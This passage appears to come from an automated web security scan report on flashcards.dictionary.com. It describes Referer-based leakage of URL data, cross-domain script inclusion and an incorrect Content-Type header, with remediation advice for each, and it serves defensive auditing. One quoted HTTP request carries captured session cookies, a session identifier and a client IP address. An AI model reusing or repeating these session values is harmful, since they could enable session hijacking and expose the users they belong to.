Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response contains the following Content-type statement:
Content-Type: text/plain; charset=UTF-8
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.